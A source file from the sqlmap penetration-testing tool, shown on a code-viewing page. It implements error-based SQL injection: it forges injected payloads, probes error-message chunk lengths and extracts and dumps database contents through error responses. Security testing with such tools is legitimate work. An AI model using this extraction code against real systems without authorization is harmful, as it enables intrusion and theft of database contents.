Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/techniques/error/use.py
2989 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
from __future__ import print_function
9
10
import re
11
import time
12
13
from lib.core.agent import agent
14
from lib.core.bigarray import BigArray
15
from lib.core.common import Backend
16
from lib.core.common import calculateDeltaSeconds
17
from lib.core.common import dataToStdout
18
from lib.core.common import decodeDbmsHexValue
19
from lib.core.common import extractRegexResult
20
from lib.core.common import firstNotNone
21
from lib.core.common import getConsoleWidth
22
from lib.core.common import getPartRun
23
from lib.core.common import getTechnique
24
from lib.core.common import getTechniqueData
25
from lib.core.common import hashDBRetrieve
26
from lib.core.common import hashDBWrite
27
from lib.core.common import incrementCounter
28
from lib.core.common import initTechnique
29
from lib.core.common import isListLike
30
from lib.core.common import isNumPosStrValue
31
from lib.core.common import listToStrValue
32
from lib.core.common import readInput
33
from lib.core.common import unArrayizeValue
34
from lib.core.common import wasLastResponseHTTPError
35
from lib.core.compat import xrange
36
from lib.core.convert import decodeHex
37
from lib.core.convert import getUnicode
38
from lib.core.convert import htmlUnescape
39
from lib.core.data import conf
40
from lib.core.data import kb
41
from lib.core.data import logger
42
from lib.core.data import queries
43
from lib.core.dicts import FROM_DUMMY_TABLE
44
from lib.core.enums import DBMS
45
from lib.core.enums import HASHDB_KEYS
46
from lib.core.enums import HTTP_HEADER
47
from lib.core.exception import SqlmapDataException
48
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
49
from lib.core.settings import MAX_ERROR_CHUNK_LENGTH
50
from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
51
from lib.core.settings import NULL
52
from lib.core.settings import PARTIAL_VALUE_MARKER
53
from lib.core.settings import ROTATING_CHARS
54
from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
55
from lib.core.settings import SQL_SCALAR_REGEX
56
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
57
from lib.core.threads import getCurrentThreadData
58
from lib.core.threads import runThreads
59
from lib.core.unescaper import unescaper
60
from lib.request.connect import Connect as Request
61
from lib.utils.progress import ProgressBar
62
from lib.utils.safe2bin import safecharencode
63
from thirdparty import six
64
65
def _oneShotErrorUse(expression, field=None, chunkTest=False):
66
offset = 1
67
rotator = 0
68
partialValue = None
69
threadData = getCurrentThreadData()
70
retVal = hashDBRetrieve(expression, checkConf=True)
71
72
if retVal and PARTIAL_VALUE_MARKER in retVal:
73
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
74
logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
75
offset += len(partialValue)
76
77
threadData.resumed = retVal is not None and not partialValue
78
79
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
80
debugMsg = "searching for error chunk length..."
81
logger.debug(debugMsg)
82
83
seen = set()
84
current = MAX_ERROR_CHUNK_LENGTH
85
while current >= MIN_ERROR_CHUNK_LENGTH:
86
testChar = str(current % 10)
87
88
if Backend.isDbms(DBMS.ORACLE):
89
testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar)
90
else:
91
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
92
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
93
94
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
95
seen.add(current)
96
97
if (result or "").startswith(testChar):
98
if result == testChar * current:
99
kb.errorChunkLength = current
100
break
101
else:
102
result = re.search(r"\A\w+", result).group(0)
103
candidate = len(result) - len(kb.chars.stop)
104
current = candidate if candidate != current and candidate not in seen else current - 1
105
else:
106
current = current // 2
107
108
if kb.errorChunkLength:
109
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
110
else:
111
kb.errorChunkLength = 0
112
113
if retVal is None or partialValue:
114
try:
115
while True:
116
check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
117
trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
118
119
if field:
120
nulledCastedField = agent.nullAndCastField(field)
121
122
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
123
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
124
if extendedField != field: # e.g. MIN(surname)
125
nulledCastedField = extendedField.replace(field, nulledCastedField)
126
field = extendedField
127
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
128
129
# Forge the error-based SQL injection request
130
vector = getTechniqueData().vector
131
query = agent.prefixQuery(vector)
132
query = agent.suffixQuery(query)
133
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
134
injExpression = unescaper.escape(injExpression)
135
injExpression = query.replace("[QUERY]", injExpression)
136
payload = agent.payload(newValue=injExpression)
137
138
# Perform the request
139
page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
140
141
incrementCounter(getTechnique())
142
143
if page and conf.noEscape:
144
page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page)
145
146
# Parse the returned page to get the exact error-based
147
# SQL injection output
148
output = firstNotNone(
149
extractRegexResult(check, page),
150
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
151
extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
152
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
153
)
154
155
if output is not None:
156
output = getUnicode(output)
157
else:
158
trimmed = firstNotNone(
159
extractRegexResult(trimCheck, page),
160
extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
161
extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
162
extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
163
)
164
165
if trimmed:
166
if not chunkTest:
167
warnMsg = "possible server trimmed output detected "
168
warnMsg += "(due to its length and/or content): "
169
warnMsg += safecharencode(trimmed)
170
logger.warning(warnMsg)
171
172
if not kb.testMode:
173
check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2]
174
output = extractRegexResult(check, trimmed, re.IGNORECASE)
175
176
if not output:
177
check = r"(?P<result>[^\s<>'\"]+)"
178
output = extractRegexResult(check, trimmed, re.IGNORECASE)
179
else:
180
output = output.rstrip()
181
182
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)):
183
if offset == 1:
184
retVal = output
185
else:
186
retVal += output if output else ''
187
188
if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
189
offset += kb.errorChunkLength
190
else:
191
break
192
193
if output and conf.verbose in (1, 2) and not any((conf.api, kb.bruteMode)):
194
if kb.fileReadMode:
195
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
196
elif offset > 1:
197
rotator += 1
198
199
if rotator >= len(ROTATING_CHARS):
200
rotator = 0
201
202
dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
203
else:
204
retVal = output
205
break
206
except:
207
if retVal is not None:
208
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
209
raise
210
211
retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal
212
213
if isinstance(retVal, six.string_types):
214
retVal = htmlUnescape(retVal).replace("<br>", "\n")
215
216
retVal = _errorReplaceChars(retVal)
217
218
if retVal is not None:
219
hashDBWrite(expression, retVal)
220
221
else:
222
_ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
223
retVal = extractRegexResult(_, retVal) or retVal
224
225
return safecharencode(retVal) if kb.safeCharEncode else retVal
226
227
def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None, suppressOutput=False):
228
values = []
229
origExpr = None
230
231
width = getConsoleWidth()
232
threadData = getCurrentThreadData()
233
234
for field in expressionFieldsList:
235
output = None
236
237
if field.startswith("ROWNUM "):
238
continue
239
240
if isinstance(num, int):
241
origExpr = expression
242
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
243
244
if "ROWNUM" in expressionFieldsList:
245
expressionReplaced = expression
246
else:
247
expressionReplaced = expression.replace(expressionFields, field, 1)
248
249
output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)
250
251
if not kb.threadContinue:
252
return None
253
254
if not any((suppressOutput, kb.bruteMode)):
255
if kb.fileReadMode and output and output.strip():
256
print()
257
elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):
258
status = "[%s] [INFO] %s: '%s'" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output))
259
260
if len(status) > width and not conf.noTruncate:
261
status = "%s..." % status[:width - 3]
262
263
dataToStdout("%s\n" % status)
264
265
if isinstance(num, int):
266
expression = origExpr
267
268
values.append(output)
269
270
return values
271
272
def _errorReplaceChars(value):
273
"""
274
Restores safely replaced characters
275
"""
276
277
retVal = value
278
279
if value:
280
retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#")
281
282
return retVal
283
284
def _formatPartialContent(value):
285
"""
286
Prepares (possibly hex-encoded) partial content for safe console output
287
"""
288
289
if value and isinstance(value, six.string_types):
290
try:
291
value = decodeHex(value, binary=False)
292
except:
293
pass
294
finally:
295
value = safecharencode(value)
296
297
return value
298
299
def errorUse(expression, dump=False):
300
"""
301
Retrieve the output of a SQL query taking advantage of the error-based
302
SQL injection vulnerability on the affected parameter.
303
"""
304
305
initTechnique(getTechnique())
306
307
abortedFlag = False
308
count = None
309
emptyFields = []
310
start = time.time()
311
startLimit = 0
312
stopLimit = None
313
value = None
314
315
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
316
317
# Set kb.partRun in case the engine is called from the API
318
kb.partRun = getPartRun(alias=False) if conf.api else None
319
320
# We have to check if the SQL query might return multiple entries
321
# and in such case forge the SQL limiting the query output one
322
# entry at a time
323
# NOTE: we assume that only queries that get data from a table can
324
# return multiple entries
325
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
326
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
327
328
if limitCond:
329
# Count the number of SQL query entries output
330
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
331
332
if " ORDER BY " in countedExpression.upper():
333
_ = countedExpression.upper().rindex(" ORDER BY ")
334
countedExpression = countedExpression[:_]
335
336
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
337
count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields))
338
339
if isNumPosStrValue(count):
340
if isinstance(stopLimit, int) and stopLimit > 0:
341
stopLimit = min(int(count), int(stopLimit))
342
else:
343
stopLimit = int(count)
344
345
debugMsg = "used SQL query returns "
346
debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
347
logger.debug(debugMsg)
348
349
elif count and not count.isdigit():
350
warnMsg = "it was not possible to count the number "
351
warnMsg += "of entries for the SQL query provided. "
352
warnMsg += "sqlmap will assume that it returns only "
353
warnMsg += "one entry"
354
logger.warning(warnMsg)
355
356
stopLimit = 1
357
358
elif not isNumPosStrValue(count):
359
if not count:
360
warnMsg = "the SQL query provided does not "
361
warnMsg += "return any output"
362
logger.warning(warnMsg)
363
else:
364
value = [] # for empty tables
365
return value
366
367
if isNumPosStrValue(count) and int(count) > 1:
368
if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
369
message = "due to huge table size do you want to remove "
370
message += "ORDER BY clause gaining speed over consistency? [y/N] "
371
372
if readInput(message, default='N', boolean=True):
373
expression = expression[:expression.index(" ORDER BY ")]
374
375
numThreads = min(conf.threads, (stopLimit - startLimit))
376
377
threadData = getCurrentThreadData()
378
379
try:
380
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
381
except OverflowError:
382
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
383
errMsg += "with switch '--fresh-queries'"
384
raise SqlmapDataException(errMsg)
385
386
threadData.shared.value = BigArray()
387
threadData.shared.buffered = []
388
threadData.shared.counter = 0
389
threadData.shared.lastFlushed = startLimit - 1
390
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
391
392
if threadData.shared.showEta:
393
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
394
395
if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
396
for field in expressionFieldsList:
397
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
398
emptyFields.append(field)
399
debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)
400
debugMsg += "dumped as it appears to be empty"
401
logger.debug(debugMsg)
402
403
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
404
kb.suppressResumeInfo = True
405
debugMsg = "suppressing possible resume console info because of "
406
debugMsg += "large number of rows. It might take too long"
407
logger.debug(debugMsg)
408
409
try:
410
def errorThread():
411
threadData = getCurrentThreadData()
412
413
while kb.threadContinue:
414
with kb.locks.limit:
415
try:
416
threadData.shared.counter += 1
417
num = next(threadData.shared.limits)
418
except StopIteration:
419
break
420
421
output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta)
422
423
if not kb.threadContinue:
424
break
425
426
if output and isListLike(output) and len(output) == 1:
427
output = unArrayizeValue(output)
428
429
with kb.locks.value:
430
index = None
431
if threadData.shared.showEta:
432
threadData.shared.progress.progress(threadData.shared.counter)
433
for index in xrange(1 + len(threadData.shared.buffered)):
434
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
435
break
436
threadData.shared.buffered.insert(index or 0, (num, output))
437
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
438
threadData.shared.lastFlushed += 1
439
threadData.shared.value.append(threadData.shared.buffered[0][1])
440
del threadData.shared.buffered[0]
441
442
runThreads(numThreads, errorThread)
443
444
except KeyboardInterrupt:
445
abortedFlag = True
446
warnMsg = "user aborted during enumeration. sqlmap "
447
warnMsg += "will display partial output"
448
logger.warning(warnMsg)
449
450
finally:
451
threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))
452
value = threadData.shared.value
453
kb.suppressResumeInfo = False
454
455
if not value and not abortedFlag:
456
value = _errorFields(expression, expressionFields, expressionFieldsList)
457
458
if value and isListLike(value):
459
if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))):
460
value = unArrayizeValue(value)
461
elif len(value) > 1 and stopLimit == 1:
462
value = [value]
463
464
duration = calculateDeltaSeconds(start)
465
466
if not kb.bruteMode:
467
debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration)
468
logger.debug(debugMsg)
469
470
return value
471
472